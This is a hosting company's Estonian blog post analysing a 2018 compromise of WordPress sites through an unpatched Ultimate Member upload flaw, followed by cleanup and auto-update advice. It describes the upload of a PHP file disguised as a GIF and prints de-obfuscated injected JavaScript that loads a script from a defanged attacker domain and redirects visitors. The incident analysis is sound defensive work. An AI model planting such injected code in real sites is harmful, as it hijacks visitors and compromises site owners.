Kolme päevaga turvapaigast rünneteni: Ultimate Member

Jaanus Putting
RSS: Jaga:

Enne kui lugema hakkad – kui sinu WordPress kasutab Ultimate Member plugina versiooni, mis on vanem kui 2.0.23, siis palun uuenda see jooksuga ära!
09.08.2018 paigatud turvaprobleemi ärakasutamine on käimas ning esimesed meile silma hakanud veebid said pihta 12.08.2018 öösel (mujal on nähtud ründeid ka enne paikamist). Seejärel uuri postituse lõpust kuidas tagada, et pluginad edaspidi ise uueneksid.

Seekordne näide jõudis meieni ühest veel nädal tagasi igati turvalisena tundunud veebist, mis üleöö hakkas külastajaid sellisele veebilehele suunama:

Vaadates failide muutmise aegu, hakkab silma üks öine komplekt:

Nagu näha, siis on tehtud muudatused kõigi teemade päistele viitavates failides… Ning enne seda on justnagu ultimatemember alla midagi üles laetud. Ja see midagi – on .php fail, lisaks mingi t. Vääääga põnev!

Vaadates sama kellaaega veebiserveri logifailis, avaneb järgnev pilt (IP on tõenäoliselt kompromiteeritud server OVH farmis):

Süvenemata detailidesse võib oletada, et POSTis olevad parameetrid koostöös referreriga site.com/wp-admin/admin-ajax.php (lisapunktid site.com eest, pole vaja ründe näidiskoodi sudima hakata!) annavad kasutajapildi postitamiseks vajaliku ühekordse liisu ehk nonssi (nonce) ning siis saadetakse /um-api/route/um!core!Files/ajax_image_upload kaudu üles “pildilaadne toode”, täpsemalt .php laiendiga GIF (häälda korrektselt!), mille sees on PHP kood:

GIF ise on väga nunnu, aga nagu näha, siis laeb Pastebin’ist alla sisu, millest saab t fail – see aga tegeleb *head*-nimeliste failide otsimisega ning lisab neisse lingi pahatahtlikule JS failile (olgu öeldud, et lisaks shell_exec versioonile on allpool sama realiseeritud ka puhtalt PHPs, juhuks kui esimene variant ei õnnestu):

Täiendus 24.08.2018 – lisaks src.eeduelements[.]com on nüüd kasutusel ka cdn.allyouwant[.]online domeen (viidatud Sucuri postituses, tuvastasime ka juba 2 ülevõetud saidi).

Aga ka see pole veel kõik – koodijupp läheb ka /wp-includes/js/jquery/jquery.js algusesse, juhuks kui keegi peaks teema ära puhastama:

Ääremärkus: kui sul on nt mõne cache-plugina poolt seatud javascriptide puhverdamine brauseris (tavapärane SEO-soovitus), siis kuvatakse häkitud saiti külastanutele vana versiooni veel pikka aega. Lihtne nipp on paigaldada ja aktiveerida Zone Cachebuster plugin, mille just tekitasin: see asendab JS ja CSS failide versiooni-parameetri räsiga, mis kasutab wp-config.php‘s olevat soola (ning soolad tasuks pärast ründekahtlust nii ehk naa ära vahetada).

See eeduelements’i jquery.js ei ole aga teps mitte see, mida nime järgi võiks oletada. Pärast väikest de-obfuskeerimist avaneb meile selline pilt ja näeme ära ka URLi, kust saab teada “reklaamitava” sihtmärgi:

function httpGet(url) {
  var $httpBackend = new XMLHttpRequest;
  $httpBackend.open("GET", url, false);
  $httpBackend.send(null);
  return $httpBackend["responseText"];
}
var curdomain = "https[:]//src.eeduelements[.]com/get.php";
var newlink = httpGet(curdomain);
if (newlink != "null") {
  (function() {
    var artistTrack = document.createElement("script");
    artistTrack.type = "text/javascript";
    artistTrack.async = true;
    artistTrack.src = newlink;
    document.head.appendChild(artistTrack);
  })();
};

Kas me võiks juba sihile jõuda, palun? OK-OK, paneme kaheksaks tunniks küpsise ja saadame külastaja parematele jahimaadele (kus ta saab praktiseerida uluk-, mitte jahimees-olemist):

if (/(^|;)\s*simtel=/.test(document.cookie)) {
} else {
  document.cookie = "simtel=1; max-age=" + 60 * 60 * 8;
  var t1 = "http[:]//murieh[.]space/?h=930130016_dc950a456f7_100&h_l=&h_5=sub_id_2&h_2=def_sub";
  document.location.href = t1;
  window.location.href = t1;
};

Kuidas puhastada?

Kui tegemist on täpselt sama ründega, siis:

  • uuenda Ultimate Member plugin;
  • kustuta /wp-content/uploads/ultimatemember/temp kataloogi sisu (NB: lisatud 16.08.2018, tx Henri tähelepanu juhtimast!)
  • kustuta tarbetud teemad;
  • kasutusel oleva teema alt otsi muudetud *head*-nimelisi faile, eemalda sinna lisatud võõra skripti link;
  • korista /wp-includes/js/jquery/jquery.js algusesse lisatud jupp, nt asendades selle puhtast WP paigaldusest võetuga;
  • kui sul on (nt .htaccess abil) lisatud Expiry päised (nt: ExpiresByType text/javascript "access plus 1 month"), siis lisa ja aktiveeri Zone Cachebuster;
  • kui sul on kasutusel mõni cache-plugin , siis tühjenda cache;
  • pärast rünnet alati: uued WP soolad, andmebaasiparooli vahetus, vaata üle kasutajabaas (eemalda kahtlased), vaheta admin-kasutajate paroolid.

Loomulikult võib nii selle kui ka teiste rünnete puhul kirjutada ka info@zone.ee ja meie tehnikutelt puhastamise tellida. Kui tegemist on teadaoleva skeemiga, siis on meil teada ka efektiivne puhastusviis. Kui on uus rünne, siis saame oma kollektsiooni uue näite ning saame teisi potentsiaalseid ohvreid ette hoiatada.

Kuidas tagada, et pluginad (ja WP) alati uuendatud saaksid?

Ülalkirjeldatud probleemi põhjustas plugin, mis oli alla ühe nädala uuendamata. Kurjategijad peavad aga uuendustel silma peal ning selgitavad turvapaiga avaldamist märgates kiiresti välja lapitud augu ärakasutamise viisi ning annavad kõikide teadaolevate WP-saitide pihta tuld: kõigepealt skann “kas plugin on olemas?” ning kui sellele on vastuseks “jah”, siis toimub automaatne sissemurdmine ja sait pannakse tegema “mida vaja”.

Mina seadistan oma WordPressid automaatselt uuendama nii WPd ennast (sh major versioone – vaikimisi paigaldatakse ainult väiksemad ehk minor uuendused) kui ka pluginaid, pannes paar rida koodi teema functions.php faili või kasutan mikropluginat Zone Updateall. Huviline leiab ametlikust pluginateegist otsinguga update ka hulga fääntsimaid lahendusi

Tasuliste pluginate-teemade puhul on enamasti vaja hoolitseda litsentsinumbri sisestamise eest… Või siis nõuab uuendamine mitte-standardset protsessi või vastavat lisapluginat.

Populaarsed postitused

Kliendi edulugu: kuidas muster.ee tõstis e-poe müüki, kui leidis Nutika Pilveserveri

Katrin Sulg
E-kaubandus on viimastel aastatel muutunud järjest olulisemaks. Konkurentsitihedas keskkonnas saavad veebilehe kiirus ja töökindlus määravaks. Muster.ee...

Kas domeen kuulub ikka sulle? ICANNi uus reegel sunnib vigaseid andmeid parandama

Jaanus Putting
Alates mai lõpust jõustub ICANNi uus poliitika, mis mõjutab geneeriliste domeenide omanikke. Kes on domeeni seaduslik omanik, määratakse nüüdsest...

Partner soovitab: Kuidas targalt integreerida ja hallata infosüsteeme

Acty
Tänapäeva digitaalses maailmas ei toimi ükski arvestatav organisatsioon enam iseseisvate tarkvaratükkide najal. Infosüsteemide integratsioon on muutunud...

Miks valida .EU domeen nüüd ja täna?

Jaanus Putting
Me elame ajastul, mil globaalsed jõujooned muutuvad kiiremini kui kunagi varem. Kui Euroopa on astunud ühisturuna üha tugevama ja sidusama tegutsemise...